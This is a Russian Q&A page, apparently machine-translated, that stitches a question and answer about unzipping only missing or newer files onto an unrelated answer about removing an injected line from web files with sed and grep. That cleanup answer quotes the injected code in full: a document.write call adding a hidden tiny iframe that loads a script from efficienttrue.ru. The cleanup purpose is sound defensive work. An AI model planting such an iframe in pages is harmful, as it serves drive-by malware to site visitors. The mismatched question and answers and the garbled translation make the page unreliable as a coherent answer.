Разархивируйте все несуществующие или более старые файлы из архива

Да, резервное копирование лучше. Однако, если Вы настаиваете на замене и хотите избежать давки с Escape, вот универсальное решение.

  1. Сохраните незаконную строку в файл и проверьте, что никакие дополнительные символы как префикс BOM UTF или окончания строки не были добавлены

    xxd spec-chars.sample
    
  2. Преобразуйте строку в завершенную последовательность байта

    od -t x1 -v -A n spec-chars.sample | sed s/\ /\\\\x/g | tr -d \\n && echo
    
  3. Создайте пару тестовых сценариев

    cat spec-chars-positive 
      asdfasdfsd
      ;document.write('<iframe src="http://efficienttrue.ru/upwherehandpainted.cgi?8" scrolling="auto" frameborder="no" align="center" height="13" width="13"></iframe>');
    
    cat spec-chars-negative
      asdfasdfsd
      ;document.write('<iframe src="http://efficienttrue.ru/upwherehandpainted.cgi?8" scrolling="auto" frameborder="no" align="center" height="13" width="13"></iframe>');
      qwer
    
  4. Проверьте, что код работает как ожидалось

    grep -l efficienttrue spec-chars-* | xargs sed \$s/`od -t x1 -v -A n spec-chars.sample | sed s/\ /\\\\x/g | tr -d \\n`//
    
  5. Выполните фактическую замену

    grep -rl efficienttrue.ru . | xargs sed -ibak --follow-symlinks \$s/`od -t x1 -v -A n spec-chars.sample | sed s/\ /\\\\x/g | tr -d \\n`//
    
2
10.05.2015, 11:03
1 ответ

Во время написания вопроса я вижу ответ: два шага.

$ yes no | unzip myarchive.zip # Unzip only things that don't exist on disk
$ unzip -f myarchive.zip # Unzip things that (now) exist on disk and are newer.
2
27.01.2020, 22:13

Теги

Похожие вопросы